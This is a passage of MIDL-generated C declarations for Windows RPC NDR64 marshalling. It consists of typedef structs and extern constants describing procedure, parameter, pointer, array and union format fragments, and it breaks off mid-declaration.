\nNDR64_FORMAT_CHAR\n__midl_frag389_t;\nextern const __midl_frag389_t __midl_frag389;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag388_t;\nextern const __midl_frag388_t __midl_frag388;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag384_t;\nextern const __midl_frag384_t __midl_frag384;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n    struct _NDR64_EXPR_CONST64 frag4;\n}\n__midl_frag383_t;\nextern const __midl_frag383_t __midl_frag383;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag382_t;\nextern const __midl_frag382_t __midl_frag382;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag381_t;\nextern const __midl_frag381_t __midl_frag381;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag380_t;\nextern const __midl_frag380_t __midl_frag380;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag379_t;\nextern const __midl_frag379_t __midl_frag379;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n}\n__midl_frag378_t;\nextern const __midl_frag378_t __midl_frag378;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag367_t;\nextern const __midl_frag367_t __midl_frag367;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag366_t;\nextern const __midl_frag366_t __midl_frag366;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag365_t;\nextern const __midl_frag365_t __midl_frag365;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag364_t;\nextern const __midl_frag364_t __midl_frag364;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag362_t;\nextern const __midl_frag362_t __midl_frag362;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag361_t;\nextern const __midl_frag361_t __midl_frag361;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n    struct _NDR64_PARAM_FORMAT frag12;\n    struct _NDR64_PARAM_FORMAT frag13;\n}\n__midl_frag359_t;\nextern const __midl_frag359_t __midl_frag359;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag356_t;\nextern const __midl_frag356_t __midl_frag356;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag352_t;\nextern const __midl_frag352_t __midl_frag352;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag351_t;\nextern const __midl_frag351_t __midl_frag351;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag350_t;\nextern const __midl_frag350_t __midl_frag350;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag349_t;\nextern const __midl_frag349_t __midl_frag349;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag348_t;\nextern const __midl_frag348_t __midl_frag348;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag346_t;\nextern const __midl_frag346_t __midl_frag346;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag344_t;\nextern const __midl_frag344_t __midl_frag344;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag343_t;\nextern const __midl_frag343_t __midl_frag343;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag342_t;\nextern const __midl_frag342_t __midl_frag342;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag340_t;\nextern const __midl_frag340_t __midl_frag340;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag329_t;\nextern const __midl_frag329_t __midl_frag329;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag327_t;\nextern const __midl_frag327_t __midl_frag327;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag322_t;\nextern const __midl_frag322_t __midl_frag322;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n}\n__midl_frag320_t;\nextern const __midl_frag320_t __midl_frag320;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag317_t;\nextern const __midl_frag317_t __midl_frag317;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_MEMPAD_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_MEMPAD_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_MEMPAD_FORMAT frag18;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n    } frag2;\n}\n__midl_frag315_t;\nextern const __midl_frag315_t __midl_frag315;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag314_t;\nextern const __midl_frag314_t __midl_frag314;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag313_t;\nextern const __midl_frag313_t __midl_frag313;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n    } frag2;\n}\n__midl_frag311_t;\nextern const __midl_frag311_t __midl_frag311;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag310_t;\nextern const __midl_frag310_t __midl_frag310;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag309_t;\nextern const __midl_frag309_t __midl_frag309;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    NDR64_UINT32 frag5;\n}\n__midl_frag308_t;\nextern const __midl_frag308_t __midl_frag308;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag307_t;\nextern const __midl_frag307_t __midl_frag307;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag304_t;\nextern const __midl_frag304_t __midl_frag304;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag302_t;\nextern const __midl_frag302_t __midl_frag302;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag301_t;\nextern const __midl_frag301_t __midl_frag301;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag300_t;\nextern const __midl_frag300_t __midl_frag300;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag296_t;\nextern const __midl_frag296_t __midl_frag296;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag295_t;\nextern const __midl_frag295_t __midl_frag295;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag294_t;\nextern const __midl_frag294_t __midl_frag294;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag287_t;\nextern const __midl_frag287_t __midl_frag287;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag283_t;\nextern const __midl_frag283_t __midl_frag283;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag282_t;\nextern const __midl_frag282_t __midl_frag282;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag281_t;\nextern const __midl_frag281_t __midl_frag281;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag277_t;\nextern const __midl_frag277_t __midl_frag277;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag276_t;\nextern const __midl_frag276_t __midl_frag276;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag273_t;\nextern const __midl_frag273_t __midl_frag273;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag271_t;\nextern const __midl_frag271_t __midl_frag271;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag270_t;\nextern const __midl_frag270_t __midl_frag270;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag269_t;\nextern const __midl_frag269_t __midl_frag269;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag268_t;\nextern const __midl_frag268_t __midl_frag268;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag267_t;\nextern const __midl_frag267_t __midl_frag267;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag266_t;\nextern const __midl_frag266_t __midl_frag266;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag260_t;\nextern const __midl_frag260_t __midl_frag260;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag254_t;\nextern const __midl_frag254_t __midl_frag254;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag253_t;\nextern const __midl_frag253_t __midl_frag253;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag252_t;\nextern const __midl_frag252_t __midl_frag252;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag246_t;\nextern const __midl_frag246_t __midl_frag246;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag243_t;\nextern const __midl_frag243_t __midl_frag243;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag240_t;\nextern const __midl_frag240_t __midl_frag240;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag237_t;\nextern const __midl_frag237_t __midl_frag237;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag231_t;\nextern const __midl_frag231_t __midl_frag231;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag230_t;\nextern const __midl_frag230_t __midl_frag230;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag229_t;\nextern const __midl_frag229_t __midl_frag229;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag227_t;\nextern const __midl_frag227_t __midl_frag227;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag224_t;\nextern const __midl_frag224_t __midl_frag224;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        NDR64_FORMAT_CHAR frag10;\n    } frag2;\n}\n__midl_frag217_t;\nextern const __midl_frag217_t __midl_frag217;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag216_t;\nextern const __midl_frag216_t __midl_frag216;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    NDR64_UINT32 frag4;\n}\n__midl_frag214_t;\nextern const __midl_frag214_t __midl_frag214;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag213_t;\nextern const __midl_frag213_t __midl_frag213;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag212_t;\nextern const __midl_frag212_t __midl_frag212;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag211_t;\nextern const __midl_frag211_t __midl_frag211;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag210_t;\nextern const __midl_frag210_t __midl_frag210;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag207_t;\nextern const __midl_frag207_t __midl_frag207;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag204_t;\nextern const __midl_frag204_t __midl_frag204;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag203_t;\nextern const __midl_frag203_t __midl_frag203;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag202_t;\nextern const __midl_frag202_t __midl_frag202;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag199_t;\nextern const __midl_frag199_t __midl_frag199;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag196_t;\nextern const __midl_frag196_t __midl_frag196;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag195_t;\nextern const __midl_frag195_t __midl_frag195;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag194_t;\nextern const __midl_frag194_t __midl_frag194;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag192_t;\nextern const __midl_frag192_t __midl_frag192;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag189_t;\nextern const __midl_frag189_t __midl_frag189;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag185_t;\nextern const __midl_frag185_t __midl_frag185;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n    struct _NDR64_PARAM_FORMAT frag11;\n}\n__midl_frag159_t;\nextern const __midl_frag159_t __midl_frag159;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag152_t;\nextern const __midl_frag152_t __midl_frag152;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag151_t;\nextern const __midl_frag151_t __midl_frag151;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag147_t;\nextern const __midl_frag147_t __midl_frag147;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n    struct _NDR64_POINTER_FORMAT frag8;\n    struct _NDR64_POINTER_FORMAT frag9;\n    struct _NDR64_POINTER_FORMAT frag10;\n    struct _NDR64_POINTER_FORMAT frag11;\n    struct _NDR64_POINTER_FORMAT frag12;\n}\n__midl_frag144_t;\nextern const __midl_frag144_t __midl_frag144;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag15;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag16;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag17;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag18;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag19;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag20;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag21;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag22;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag23;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag24;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag25;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag26;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag27;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag28;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag29;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag30;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag31;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag32;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag33;\n    } frag2;\n}\n__midl_frag133_t;\nextern const __midl_frag133_t __midl_frag133;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag132_t;\nextern const __midl_frag132_t __midl_frag132;\n\ntypedef \nstruct \n{\n  